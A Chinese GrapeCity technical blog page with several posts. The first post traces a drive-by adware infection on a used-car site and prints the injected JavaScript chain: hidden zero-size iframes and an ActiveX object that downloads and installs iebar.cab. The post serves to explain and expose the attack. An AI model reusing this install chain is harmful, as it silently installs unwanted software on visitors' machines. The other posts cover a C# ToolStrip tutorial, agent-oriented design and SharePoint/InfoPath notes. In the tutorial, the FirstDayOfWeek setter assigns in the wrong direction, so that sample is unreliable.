GrapeCity的技术点滴

GrapeCity -- worldwide component vendor / provider
随笔 - 14, 评论 - 275, 引用 - 36

导航

关于

本Blog文章不是来自于个人,而是来自于GrapeCity技术团队的点点滴滴,其主要出处位于GCDN.

标签

每月存档

最新留言

广告

【第1页/共2页,18条】
首页
前页
1
2007年04月25日

用google搜索关键字:西安二手车,发现这个网站的下面多了一段警告。提示:This site may harm your computer. 本网站可能危害您的电脑。

点击link后google会弹出一个更大的警告让你不去访问这个网站。

 

看到这个提示,十分佩服google。把搜索和查毒集成在一起了。Google的搜索引擎真是牛。可是为什么google会认为这个网站有问题会harm your computer。进入google对此内容的解释:

This warning message appears with search results that we've identified as sites that may install malicious software on your computer. We want our users to feel safer when they search the web, and we're continuously working to identify such dangerous sites and increase protection for our users.

看来是这个站点会在用户浏览时安装恶意的程序。

升级了诺顿,冲入这网站探个究竟。刚一进如后就发现诺顿提示有病毒。

看来这个网站真的是有问题。到底这个网站那里出了问题,是站长故意把病毒放在里面了?还是什么问题。进入病毒的描述信息http://securityresponse.symantec.com/avcenter/cgi-bin/virauto.cgi?vid=4294906467

Updated: February 13, 2007 11:51:32 AM
Type: Adware
Publisher: HDT, Inc
Risk Impact: High
File Names: iebar22.0.dll barhelp22.0.dll
Systems Affected: Windows 2000, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP

Behavior
Adware.Iebar is a Browser Helper Object that displays advertisements and downloads files

Symptoms
Your Symantec product detects this threat as Adware.Iebar.
Unexpected advertisements appear in Internet Explorer browser windows.

看来是IE恶意插件。
用http请求跟踪工具,看看浏览器请求了什么。

看到iebar.t2t2.com /iebar.cab application/octet-stream。这一行真相大白了。是这个网站加载了这个恶意文件。当用户浏览时要求用户下载。看来google真厉害,把网站上的这种动作都记录下来并分析了。

要求用户访问下载这个iebar.cab,Render过来对应的html是什么呢。是用iframe src请求下载,使用image src script src是什么样一种方式呢?再次进入跟踪。发现是:

iebar.t2t2.com /test1.htm 这一行Render了这样的代码

<script language=javascript>

...... 

if (GetCookie("today_install")==null)

     {

         document.write("<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>");

     }

......

</script>

其中的
document.write("<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>");
是“元凶”要求用户下载并安装这个恶意插件。
是谁请求的/test1.htm?
查看stat1.vipstat.com /stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 text/html 这一行,它Render了这样的代码:
….
if (isinstall==1){

SetCookie(cookieKey,pid +"|" + unionid + "|" + sid,1);      
document.write("<iframe width=0 height=0 src=\"http://iebar.t2t2.com/test1.htm\" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes><\/iframe>")
}

是document.write("<iframe width=0 height=0 src=\"http://iebar.t2t2.com/test1.htm\" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes><\/iframe>")  是javascript 动态添加的iframe带入的恶意脚本。
是谁请求的/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24
查看stat.t2t2.com /log/log1.asp?default&user=zgchecom text/html这一行
它请求Render回来了:
function GetCookie(sName)
{

  var aCookie = document.cookie.split("; ");
  for (var i=0; i < aCookie.length; i++)
  {
    var aCrumb = aCookie[i].split("=");
    if (sName == aCrumb[0])
      return unescape(aCrumb[1]);
  }
  return null;
}
cookieName="comt2t2";
isCookie = GetCookie(cookieName)
if ( isCookie != 'ok')
{
document.write('<iframe width=0 height=0 src="http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes></iframe>');
}

又是javascript 动态添加的iframe带入的恶意脚本。
是谁请求了/log/log1.asp?default&user=zgchecom
查看stat.t2t2.com /stat.js application/x-javascript这一行Render回来的脚本:
var tc_user;
document.write('<a href=http://www.textclick.com/viewmain.asp?name='+tc_user+' target=_blank><img src=http://stat.t2t2.com/stat.gif border=0></a>');
if (tc_user==null) tc_user="";
document.write('<iframe width=0 height=0 src="http://stat.t2t2.com/log/log1.asp?default&user='+tc_user+'" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no><\/iframe>');
还是javascript 动态添加的iframe带入的恶意脚本。
这几次绕来绕去,都没有看到www.zgche.com 我们实际访问的站点。
在http://www.zgche.com/index.asp Render回来的html终于找到加载stat.t2t2.com/stat.js 的代码:

<script language="javascript" src="http://count16.51yes.com/click.aspx?id=162936015&logo=8"></script>
<script>var a="zgchecom";</script>
<script>var tc_user="zgchecom";var tc_class="18";</script>
<script src="http://stat.t2t2.com/stat.js"></script>

终于整个加载的线路清楚了。
http://www.zgche.com/index.asp ->
http://stat.t2t2.com/stat.js ->
http://stat.t2t2.com/log/log1.asp?default&user=zgchecom -> http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 ->
http://iebar.t2t2.com/test1.htm ->
http://iebar.t2t2.com/iebar.cab

通 过上面的加载。恶意的程序最终Render成<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object> 让浏览器来解释。浏览器看到object activeX要求用户安装。恶意程序通过这个手段安装到用户的机器上了。

好曲折的步骤。恶意程序十分会隐藏自己。

最 终找到恶意程序。但是从上面的分析最初用户访问的www.zgche.com并没有“问题”。不是站长放入了恶意程序。它完全是被“牵连”的。是 stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 加载了恶意成程序。是stat1.vipstat.com出了问题。但是google认为是它出了问题。Google站在访问者的角度来看待问题。在 google的link: http://www.stopbadware.org/home/help 看到 stopbadware建立了一个数据库,存储这些恶意站点的信息,建立了黑名单。支持申诉。猜想google是分析这个页面的请求,当请求http: //iebar.t2t2.com/iebar.cab这种在黑名单的地址就认为这个网站是有恶意的网站。最初在建立这个黑名单时,是用这种最终存放恶意程序的地址为源头,来搜索谁请求了他们。然后记录下这些直接请求的地址。然后再看谁请求了这些地址。再次加入黑明单。这样层层的加入来扩张黑名单的数据 库。
问题的根本原因是一段script的多重加载,加载了恶意程序。

posted on 2007-04-25 17:44:00 by grapecity  评论(14) 阅读(6949)

 
2007年04月23日

最近由于工作需要,研究了一下如何将第三方控件嵌入到ToolStrip控件中,并能提供Design-Time下的支持.

下面将详细讲解如何把系统的MonthCalendar控件嵌入到ToolStrip控件中.

以下的两幅图片显示了最终的样子.

 

Run-Time下的样子 1

 

Design-Time下的样子 1

 

 

如何将第三方控件嵌入到ToolStrip

 

微软实现了一个ToolStripControlHost, 它是ToolStripComboBox, ToolStripTextBox, ToolStripProgressBar等的基类. ToolStripControlHost提供了将第三方控件嵌入ToolStrip的能力. 我们可以用两种方式使用它:

 

, 我们可以直接将继承自Control类的第三方控件作为ToolStripControlHost的构造函数的参数构造一个ToolStripControlHost实例, 将这个实例直接作为ToolStripItem加到ToolStripItems集合中使用即可.

        private void Form2_Load(object sender, EventArgs e)

        {

            MonthCalendar monthCalendar = new MonthCalendar();

            monthCalendar.FirstDayOfWeek = Day.Monday;

            this.toolStrip1.Items.Add(new ToolStripControlHost(monthCalendar));

        }

 

 

, ToolStripControlHost派生, 在继承类默认参构造函数中将第三方控件作为参数调用基类的有参构造函数. 这种方式可以很容易的在继承类中暴露属性,方法和事件,便于访问.

实现步骤如下:

1, 扩展 ToolStripControlHost。实现一个调用传入所需控件的基类构造函数的默认构造函数。

        public ToolStripMonthCalendar() : base(new MonthCalendar())

        {

        }

 

2, 声明一个与包装控件相同类型的属性,并在属性访问器中返回 Control 作为正确类型的控件。

        public MonthCalendar MonthCalendarControl

        {

            get

            {

                return base.Control as MonthCalendar;

            }

        }

 

3, 使用扩展类中的属性和方法公开包装控件的其他常用属性和方法。

        // Expose the MonthCalendar.FirstDayOfWeek as a property.

        public Day FirstDayOfWeek

        {

            get

            {

                return this.MonthCalendarControl.FirstDayOfWeek;

            }

            set

            {

                value = this.MonthCalendarControl.FirstDayOfWeek;

            }

        }

 

        // Expose the AddBoldedDate method.

        public void AddBoldedDate(DateTime dateToBold)

        {

            this.MonthCalendarControl.AddBoldedDate(dateToBold);

        }

 

4, 也可以选择重写 OnSubscribeControlEvents OnUnsubscribeControlEvents 方法,并添加要公开的控件事件。

        // Subscribe and unsubscribe the control events you wish to expose.

        protected override void OnSubscribeControlEvents(Control c)

        {

            // Call the base so the base events are connected.

            base.OnSubscribeControlEvents(c);

 

            // Cast the control to a MonthCalendar control.

            MonthCalendar monthCalendarControl = (MonthCalendar)c;

 

            // Add the event.

            monthCalendarControl.DateChanged += new DateRangeEventHandler(OnDateChanged);

        }

 

        protected override void OnUnsubscribeControlEvents(Control c)

        {

            // Call the base method so the basic events are unsubscribed.

            base.OnUnsubscribeControlEvents(c);

 

            // Cast the control to a MonthCalendar control.

            MonthCalendar monthCalendarControl = (MonthCalendar)c;

 

            // Remove the event.

            monthCalendarControl.DateChanged -= new DateRangeEventHandler(OnDateChanged);

        }

 

5, 为要公开的事件提供必要的包装。

        // Declare the DateChanged event.

        public event DateRangeEventHandler DateChanged;

       

// Raise the DateChanged event.

        private void OnDateChanged(object sender, DateRangeEventArgs e)

        {

            if (DateChanged != null)

            {

                DateChanged(this, e);

            }

        }

 

完整的示例请参见MSDN(http://msdn2.microsoft.com/en-us/library/9k5etstz.aspx ).

 

 

如何提供设计时的支持

 

1, 为从ToolStripControlHost继承的类添加ToolStripItemDesignerAvailabilityAttribute标签. 它可以使ToolStripDesign-Time下能够找到从ToolStripControlHost继承的第三方控件, 直接效果就是第三方控件在下拉菜单中可以直接列举出来. 另外,除了可以将第三方控件嵌入ToolStrip, 我们还可以直接将第三方控件嵌入到ContextMenuStrip, MenuStripStatusStrip中.

ToolStripItemDesignerAvailability枚举成员如下:

 

成员名称

说明

 

All

指定所有控件均可见。 

 

ContextMenuStrip

指定 ContextMenuStrip 是可见的。 

 

MenuStrip

指定 MenuStrip 是可见的。 

 

None

指定无任何控件可见。 

 

StatusStrip

指定 StatusStrip 是可见的。 

 

ToolStrip

指定 ToolStrip 是可见的。 

 

2, 为继承的控件添加ToolboxBitmapAttribute标签改变默认Icon.

    [ToolboxBitmap(typeof(MonthCalendar))]

    [DefaultProperty("Value")]

    [ToolStripItemDesignerAvailability(

        ToolStripItemDesignerAvailability.ContextMenuStrip |

        ToolStripItemDesignerAvailability.MenuStrip |

        ToolStripItemDesignerAvailability.StatusStrip |

        ToolStripItemDesignerAvailability.ToolStrip)]

    public class ToolStripMonthCalendar : ToolStripControlHost

    {

 

Demo is Here

 

 -完-

posted on 2007-04-23 17:39:00 by grapecity  评论(5) 阅读(6482)

 
2006年04月06日

前段时间一直周旋于各种有趣且辛苦, 或者无趣且更辛苦的事情当中, 虽然其间也切换到其他好些不同的技术领域, 但一直没有放弃在AOP方面的关注思考. 前面之所以没有能接着AOP这个话题继续和大家聊下去, 是因为感觉自己没有足够的精力和空闲来将这些想法沉淀下来, 并回锅为简单直白, 易于消化和理解, 并能引发思考的东西. 这几天, 出差在外, 工作之余免去了灶台内外的忙活. 油烟味少了, 人也觉得清爽许多; 闲暇多了, 就免不了想爬爬格子. OK, 闲话到此为止, 就让我们继续AOP的白话之旅吧J

 

简单回顾一下前一段旅程(,,), 在前面我们简要介绍了什么是Agent, 这个东东的来由, 以及与其他重要概念, Object的区别. 如果说前段理论之旅展现的奇异风光令我们心神荡漾, 那么接下来的实践之旅就会又把我们拽回到繁杂而精密的软件世界中.

 

在前面也有介绍过, 目前好像还没有一个专门针对AOPIDE, 这对于急于操练一把AOP的同志来说是个不大不小的尴尬. 不过好在Agent也是由Object脱胎而来, 基于目前的OOP语言, 我们也可以来过一把AOP的瘾. 这里我们选择的是.Net 平台下的C#. 为什么要选择C#,,,, 因为如果使用Java, 文章也就不会发在这里, just jokingJ 理论上说, 任何OOP语言, Java, Delphi, C++, 都可以作为哈里.波特同学手中的魔法棒, 点化出妙不可言的Agent. 之所以选择C#, 是看中他的优雅和简洁(补充一句, 直到现在俺依然固执地认为Delphi是最优雅的语言, 虽然Borland迫于生计不得不出售整个IDE部门, 但俺依然决意守望Delphi, 直到Delphi的桅杆没入海平面的最后一刻…)

 

翻翻讲述Agent理论的书籍就可以查到, 一个为理论界所接受的Agent需要具有如下若干特征:

 

l         代理性(Action On Behalf Others)

l         自制性(Autonomy)

l         主动性(Proactivity)

l         反应性(Reactivity)

l         社会性(Social Ability)

l         智能性(Intelligence)

l         合作性(Callaboration)

l         移动性(Mobility)

 

My god! 光把这些名词理解一遍就让人头大了. 不多解释了. 简单点, Simple is good. 我们现在不需要迎合理论家挑剔的口味, 只需要创造一个具有不完全特性的Agent. 女娲同学造人的时候还不是就地取材, 捧着坨泥巴就捏上了J 另一方面, 作为整个AgentWorld的缔造者, 我们必需意识到这样一点: 上述这些特性, 是分层次的, 比如反应性, 和自制性, 这应该是位于Agent心智(Mind)最底层的特性; 而社会性, 智能性, 合作性等, 则应该属于Agent的高级心智, 需要其他心智能力的支持. 在由混沌到开天地的最初步骤中, 我们只需要实现最低层次的Agent心智即可.

 

综合以上考虑, 在我们捏出的第一个Agent身上, 可以看到如下几种心智:

l         同步异步的统一和同类群组

l         对外界变化的感知

l         时间驱动

l         移动性

 

下面我们来逐一审视这些貌似简单, 却可能蕴含无限组合及演化能量的心智要素.

 

同步异步的统一和同类群组

前面聊到说, 我们有认识到Object世界存在着同步和异步被人为地剥离的尴尬, “同步异步的统一和同类群组则是Agent世界对这一尴尬的解答. 在我们的Agent世界中, Agent A1呼唤Agent A2协助其做某件工作M1, 并不需要了解到A2做这件事情是同步在做还是异步在做, 这是同步异步的统一; 更进一步, 如果这件事情, A2具有同样能力的好几个Agent都可以来做, 那么A1更不需要知道到底是哪一个具体的”A2”在做这件工作. 有点抽象噢? Ok, 这好比现实生活中的一个例子: 领导曰上午10点让司机过来接我去开会”. 领导作为一个Agent, 他不需要了解司机这种Agent 10点开车到楼下是同步行为还是异步行为(当然司机自己要清楚), 也不需要了解开车过来的是单位上的哪个司机, 小王or小张? 这是领导需要关心的事情吗? 他只需要知道10点下楼, 就有个司机在那候着. 用程序语言来描述:

 

Boss的执行代码就是:

driver.ComeHere(10:00)

 

Driver的代码:

class Driver : Agent_XXX

{

       [AgentMethod(AgentMethodCallMode.Asyn, AgentMethodRouteMode.Group)]

       public virtual void ComeHere(DateTime time){…}

      

}

 

Ok, 让我们把所有注意力都集中到蓝色的Attribute, 这是Driver这个Agent类在同步异步的统一和同类群组这种心智上的体现. 为什么我们刚才说要选择C#这种优雅的语言, 就是因为我们可以使用Attribute这个特性来将Agent的心智附着在普通的Object Class. 当然, 我们也可以额外地用一个描述心智要素的XML文件来和Class绑定, 但个人感觉而言, Attribute来的更加优雅直接一些.

 

AgentMethod, 这个属性表明, ComeHere这个Method, Driver这个Agent的一种能力, 注意是能力不是心智. 这种能力带了特定的心智信息:

 

l         AgentMethodCallMode.Asyn
这个Attribute表明这种能力是异步调用的, 而非同步. 看到这里有些同志不免生疑, 不是说同步和异步不再区分的嘛, 怎么还有Asyn, Syn这样的标记呢? 不爽! 解释一把, 我们所说的同步和异步不再区分, 是从调用者的角度考察, 比如领导之于司机, 老师之于学生. 而对于方法的被调用者, 也就是实际执行者来说, 他当然是需要内心里知晓这个方法到底是如何完成的. 实际上在领导调用driver.ComeHere(10:00)之后, 领导所拥有的心智, 即线程马上可以接下去做其他事情, ComeHere(10:00)这个方法, 则被转移到某个Driver实例的心智, 即线程上去执行
.

这里的一个小小差异, 实际上凸现出AgentObject的一个很大区别: Agent世界中, 每个Agent只需要关注自己逻辑是如何执行的, 而对其他Agent的逻辑执行细节的关注, 被降低到的最低
.

如果有同志觉得上面这段话过于抽象, ok, 让我们更技术化的语言重复一次: 每个Agent都带有一个独立的线程(我们可以把它理解为Agent的灵魂J), 每个Agent自身的能力(OOP语言环境下被映射为Method)都在这个线程上来被解释和执行. 如果一个行为序列包含有若干不同Agent的能力的执行, 那么完成这个行为序列就会使用到好几个不同的线程, 并且线程之间的切换是完全透明和自动的
.

深入到技术细节之后, 让我们赶紧上浮到更宏观的一个层面上来, 否则很快就会在对技术细节的探究中失去对Agent设计理念的把握能力. 现在我们已经知道: 一个Agent, 它所拥有的能力(也就是各种Method)只能由它拥有的灵魂(也就是其独占的线程)来执行. 那么显然的一个问题是: 这带来了什么样的益处
?

l         AgentMethodRouteMode.Group.
这个Attribute表明Boss要一辆车, 这个请求, 是一个群组请求, 而不是针对某个Driver类的某个具体实例. 这个请求会被放到一个基于群组(也就是具有共同能力的一类Agent)的请求池中, 假设此时单位有三位司机空闲, 那么其中的一位就会接受到这个请求, 随后执行之. 这应该是对Agent理论中黑板模型的一个最最简单的实现: 有什么请求, 写到一个黑板上, 有能力响应这个请求的, 就来处理, 并把这个请求从黑板上擦掉
.

大家可以想像一下这种心智的用场何在. 先往现实世界中靠, 找找现实世界中是否存在这种例子? 大量存在, 银行柜台业务, 超时购物结算. 再回到软件世界中, 我们很容易联想起一个词: 负载平衡J 如果具有某种能力(能够执行某种关键业务操作)Agent通过Mobility心智(稍后会介绍方面内容)分布在整个系统的若干台不同机器上, 同时共享同一个群组请求池, 外部进来的业务操作请求进入请求池后, 就会为不同机器上的Agent所处理. 负载平衡乎J 当然, 谁说现在银行系统不是负载平衡的? 我们这里强调的是: Agent世界中实现负载平衡的简洁性. 仅仅需要一个Attribute, 并且, 由于底层的群组请求池是系统自动构造的, 因此如果需要进一步平衡负载, 只需要多new几个 driver, 并把他们移动到不同的机器上, 就好比银行里看到排队的人多了, 临时增加几个业务窗口的道理一样. 很重要的一点, Agent世界里能实现的, Obejct世界或者汇编世界里同样都可以实现, 我们看重的是实现的简洁性(偷懒性?)及于现实世界贴近的程度
.

AgentMethod还有好几种组合, 这里就不一一介绍了, 陷入编码细节的讨论必然会妨碍我们对概念整体上的把握. 但这里不得不说明的是, 假设Boss需要driver在达到之后通知他一下, 应该怎么实现呢? 由于OOP的限制, 我们不得不使用一种相当不优雅的方式: 回调函数, 来解决这个问题.  于是乎, Boss这个Agent类中会出现如下代码:

 

[CallBackMethodAttribute(typeof(driver), "ComeHere")]

public virtual void CallBack_Driver_ComeHere(Message_ResultOfASYNCallMethod message){…}

 

这里的CallBackMethodAttribute表明, 当某个Driver达到楼下后, 会自动(对于DriverBoss来说都是透明的)调用这个方法. 注意, 这个方法的执行, 是在Boss的心智中, 而不是由Driver来完成的, 也就是说, 系统会自动在Driver的线程中执行ComeHere操作, 随后又自动切换到Boss的线程, 来执行CallBack_Driver_ComeHere. 想像一下, 为什么会这样 and 为什么要这样? J

要不今天咱们就整到这里, 如果大家有兴趣的话, 下面的章节中, 我们会接着聊聊感知力, 时间驱动, 移动性等更好玩的话题. 整点小思考题, 注意到Agent类的每个方法上都带有virtual指示符, why? 借用Matrix中的一句话:”There is something different.”, 其实, 刚才咱们所聊的所有内容, 包括今后旅途中所看到的Agent World中大多数风景, 都位于水平面之上, 而顺着这个隐秘的线索深入下去, 您就能触摸到Agent World位于水平面之下庞大而精密的支撑架构. 水面之下, 没有任何风景, 只有高速运转的调度线程, 吞吐繁忙的缓冲池, 张合有序的读写锁, 以及无处不在的BugJ

posted on 2006-04-06 12:03:00 by grapecity  评论(27) 阅读(8064)

 
2006年03月27日

有同学指出前面几篇闲话太多, 看着牙酸, ok, 今天咱们直接切入正题.


 


l         BDC(Business Data Catalog)


n         先说说这个东西的来由. 现在我们都已经习惯了使用WSS/SPS作为信息/文档存储, 共享和管理门户的这种模式. Everything is ok now. 但是随即某些更懒惰(or smart)的同学又提出了新的要求 : 能不能把后台/外部的其他数据信息也集成进来. 这个需求是很合理的, 不过要求也是很高, 数据源不光指关系型数据库, 还包括各种能够想像的到的能够存储数据的地方, 例如文本文件, Excel文档, 各种CRM, ERP, 实时数据采集系统等等. 我们可以想像一下, 各种后台数据源好比是一群操不同语言的人站在你面前叽叽喳喳, 你说, 够了, 要么给我闭嘴, 要么给我找个翻译来. 这个翻译就是新版SharePoint中的BDC. 它要做的事情就是把来自不同源头的, 不同格式, 不同内容的数据以统一的面貌展现在我们面前.BDC的其核心就在于一份从A数据到B数据的映射Schema, 这个Schema当然没有自然语言转换那么复杂和变化多端, 只需要定义好这个Schema, BDC的后台引擎根据这个Schema到数据源, 甭管是关系的还是纯api调用的, 提取数据, 展示出来就可以了.


n         说清楚了BDC的来由, 再来具体说说BDC是个什么东东. 按照微软资料上的说法, BDCOffice SharePoint Server 2007上的一项新特性. WSS 3.0上就看不到了? 作为一项核心服务, BDC可以让OSS 2007与后台的商业应用程序进行交互, 并将其数据展现在门户中.


n         Business Data Catalog metadata model. 上面也有提到, BDC中一个关键的东东是用于描述数据映射的Schema, 官方称之为Business Data Catalog metadata model. 可以想像一下这个metadata model会有多么的复杂. 各种数据源的抽象和统一, 还要考虑到开放性和兼容性, 呵呵, 有点类似于物理学上几种力的统一. 物理学上的伟人爱因斯坦没有能把力统一起来, 遗憾的进了天堂, 软件世界中的微软倒是把数据源给统一了起来, 因此可以继续快活地留在这个世界上. hands on lab中大致看了一下这个metadata model的实例, 复杂的可以, 简单抽取一个关系数据库中的表格都得写上一大堆xml, 幸好lab中是使用的code snippet来写, 否则写这样一个meatadata还不得写到抽筋. 这也让老马看到一个问题, 为什么微软不提供一个可视化的metadata编辑器呢 ? model都能整出来, 编辑器就不在话下了. 微软的解释是没有时间整这个, 今后也不会整. 呵呵, may be it is a chance for us...


n         BDC中除了metadata model之外, 提供了如下几种用于数据呈现的Web Parts :


u       BusinessDataList Web Part. 望文生意, 这个web part可以用来将数据以列表的形似显示出来, 有点类似于gridview.


u       BusinessDataItems Web Part. 数据项显示控件. 这个控件可以用来显示List中某个项目具体的信息. 例如上面的DataList列出了所有的Customer. 点击其中一个, DataItem web part中就可以显示出这个customer的全部信息.


u       BusinessDataRelatedList Web Part. 这个中文可以理解为显示相关数据的web part. 有点类似于明细表中的细表, datalist上选择一个明item, 这边datarelatedlist就显示出相应的细目.


u       BusinessDataActions Web Part. 数据操作 web part. 上面几个web part把数据展现出来了, 总还希望再对数据做点啥, 比如修改一下回写什么的. 这个web part就派上了用场.


n         创建一个BDCapplication非常简单, 当然这里指的是简单的应用. 找一个xml 编辑器, 手工定义好这个BDC application metadata, 包括数据连接, 数据实体, 数据操作等信息(具体没有记全, 复杂的应用中可能还包括其他元素). 然后在沿着sharepoint 3.0 central administration -> application management -> office server core services -> create or configure this farm’s core service 的路径进来, 选择一个service, 在其business data catalog中增加一个application, 将刚才编辑好的metadata 作为这个application的元数据. 提交, 一顿乱转之后, 后台数据库中的数据就可以在sps中使用了. 然后整个页面, 添加一些上面提到的web part, 简单配置一下, 数据就可以render出来了.


n         写到这里, 基本上关于BDC的内容已经介绍完了, 囫囵吞枣, 也就只记了这么多. 觉得不过瘾, 可以继续看下面的链接 :
http://weblogs.asp.net/erobillard/archive/2005/09/15/425364.aspx
http://chilco.textdrive.com/~dmahugh/2006/01/27/business-data-catalog-overview/
http://blogs.msdn.com/mikefitz/default.aspx


l         今天还听了两个关于ExcelSession. 也比较有意思. 但讲师都忙着做Demo去了, slides只有两三页, 自己都不知道该记什么, 呵呵, 只记得脑子里全是绚绚的demo.


n         Excel12中支持更强大的数据分析功能, 怎么个强大法呢, 只有看了demo才能知道. 总的来说一句话, 原来很多操作只能在pivot table里面做, 现在都可以在表格里面做了.


n         Excel12的文档不光可以在Excel中打开, 还可以通过excel service renderweb page. 并且render出来的web page上不包含任何的activex 控件, 例如owc. 全是dhtml. 硬工夫啊. 不知道兼容性如何.


n         Excel 12不光可以连接到数据库, olap数据, 还可以连接到SPS的文档库和BDC数据源. 基于XML, 天下一统了


 


到这里, ODC’06的故事基本就讲完了. 感觉好像少了点什么? 呵呵, 是的. 还有一个大块头的故事没有讲, OpenXML. ODC’06中也设置了专门的一个track来讲OenXML, 只是和其他track有冲突, 没有能够去听. OpenXml在整个Office12中无处不在. OpenXMl就像一种黏合剂, Office12中的各种组件无封地黏合成一个整体, 信息, 数据在Office12中可以自由的流动和交换. 推荐一个专门研究openxml的好站点 : http://openxmldeveloper.org/default.aspx. 


 


睡觉之前最后补充一句, VSTO 3.0 ctp版本已经开放下载, 绝对这个cool毕了的东东, 相信会改变很多office developer的开发模式. 包括我在内, 以后再也不会在infopath中设计表单了J http://www.microsoft.com/downloads/details.aspx?FamilyID=2e85132b-7370-4137-a19a-15752ea83952&DisplayLang=en.


 

    如果有同学一直硬着头皮咬牙坚持把这篇纯技术的文章看到最后的话, 那一定是对昨天承诺的饭局充满期待. 非常抱歉, 本人毫无悬念地错过了Xbox, IPAQ等等一二三等奖的礼品, 更让人感到绝望的是, 阳光普照的纪念品一件T-shirt貌似size也不对. Anyway, 全当是个纪念吧, 如果下次各位同学有参加ODC’07, 在会场碰到一个穿着small size ODC’06纪念衫, 露出肚脐的高手, 那就是我.

posted on 2006-03-27 00:46:00 by grapecity  评论(0) 阅读(1246)

 

早上起来, 天上有点冒小雨. 赶紧把能整上身的衣服全整上. 老马洗澡出来, 依旧是一件T-shirt就把自己打发了. 我很迷惑他这到底应该是算一种行为艺术还是纯粹的个人风尚. 等到了会场, 我才明白过来, 这是一种身份的标识. 越是技术上的顶尖高手, 其衣着越是简朴/简单/简约/简陋. 有穿短裤的哥们, 说不定就是某个技术流派的始创者. 我就寻思着, 下次要不要把我爸那件老头衫带过来, 套在身上, 一定很高手的样子.


 


Anyway, 切换到正题上来. 今天听的Session包含三方面的内容 :


l         SharePoint Technology, 1 Session


l         InfoPath Solution, 3 Session


l         VSTA 3.0. 1Session


 


l         SharePoint Technology (Content Type). Content TypeWSS 3.0中一个很重要的概念, 在前面几个相关的Session中被多次提及和强调. Content types will allow you to define a type of information and associated with it the available metadata, its policy and workflow options. 具体来说一种Content Type中可以定义如下几种信息:


n         Name and Description


n         Document Template


n         Columns


n         Workflow


n         Policy


n         Forms for editing, viewing and displaying. 这里的Form for… 不知道是不是指的可嵌入Office12文档中的InfoPath表单 ?


n         Events


l         Content Type可以基于Site来创建, 并为其下的所有子Site引用. 如果在Site上对Content Type进行了修改, 那么所有子站点中也会同步更新掉.


l         一个List上允许绑定多种的ContentType. 这点在前面的Session也有提到过


l         随后, 讲师演示了一个创建Content TypeDemo, 效果蛮不错, 尤其是将InfoPath模版嵌入到Word文档中, 点击InfoPath上的按钮还可以同步更新InfoPath表单和Word中内容. 可以预见这种Word+内嵌InfoPath表单+特定工作流/审批流的组合很快会成为WSS 3.0上标准的应用模式.


 


接下来3Session全都是于InfoPath相关, 一口气听下来, 很是过瘾. 由于内容互有关联和重叠, 所以这里就一起整了 :


l         首先是一段概念性的讲解 : 为什么要有InfoPath form Solution, 大概分为三个方面 :


n         Reach more users with better forms


n         Automate data-driven business processes


n         Rapidly develop and deploy form solution


l         InfoPath Form Importer. 概念介绍完毕后, 接下来出场一个重量级的feature, Form Importer. 只见讲师打开一份标准的Word 12文档模版: 费用报销单, 上面有人员, 日期, 费用明细, 总计等信息. 然后在InfoPath12, 选择一个菜单Import, 将该文档模版作为输入, 一路next, 很快就生成了一份费用报销单的InfoPath 模版. 人员,日期, 费用明细等相关数据字段全部提取出来, 并且就连格式也和Word12中的一模一样. That’s cool! 可以想像, 目前企业中存在着的大量wordexcel表格, 可以使用Importer很快的转为InfoPath表格, 省去了很多手工转换的成本, 这该有多方便. 并且这个Importer还有很多选项可以控制转换的具体参数.


l         这份InfoPath形式的费用报销单转换好后, 马上又被提交到WSS 3.0的服务器, 点击表单, 马上又可以在Web Browser中展示出来, 并进行填写. 这里体现了微软在电子表单上的一个思路, Word/Excel -> InfoPath Form <-> web page. 但是这里奇怪的是没有看到InfoPath Form word/Excel的转换. 也许是因为infopath可以直接转换为html, 然后html又可以在word里面打开的缘故. Anyway, 这种基于XML数据的来回转换的场景实在是非常有用.


l         InfoPath Template Part. 这个feature的设计出发点可能是为了表单设计人员的体力. 想像一下, 如果需要设计100form, 而每个form上都需要有一段保密说明, 这样重复写100遍是不是让人要人接近崩溃. 写好了如果某天需要对这段重复的地方进行调整, 那就真的崩溃了. 所以这些表单上的公共部分, 被抽取出来, 单独存放为Template Part. 如果要修改, 则只需要修改一处Template Part, 100张表单模版上的引用部分也就自动更新了. 并且在Template Part提供了对各种InfoPath元素的支持, 当然, 除了code之外. 为什么? Just guessJ


n         可以直接将InfoPath Form发布为一个MSI文件, 这个特性也不是一般的cool, 不光打包了表单模版的全部信息, 还把部署表单时碰到的所有麻烦都一股脑全打包进去了, 客户端这边只需双击就能搞定.


n         可以将InfoPathform发布为一个电子邮件, 直接在Outlook中打开. 不知道为什么, 这个特性一直还处于传说状态, 在这几天的dmeo中也没有见到有演示过, 不过网上倒是有截图就是.


l         Unified Object Model. InfoPath12全部由托管代码写成, 所以我们不再需要PIA操作, 只需要CLR 2.0, 底层使用System.XML, 也不再需要MSXML. 在开发体验方面, 也得到了不少增强. 原来InfoPath表单的事件模型很是烦琐, 一个改动会在代码里引起几处事件触发. 例如修改一个Node的值, 会被InfoPath解释为先删除这个Node,再插入一个新Node. InfoPath12里面, 则只会触发一次事件.


l         Visual Studio Integration. 酷必的一个feature. InfoPath12支持在VS.net 2005中直接编写, 调试和发布InfoPath表单. 当然需要首先安装VSTO 3.0.


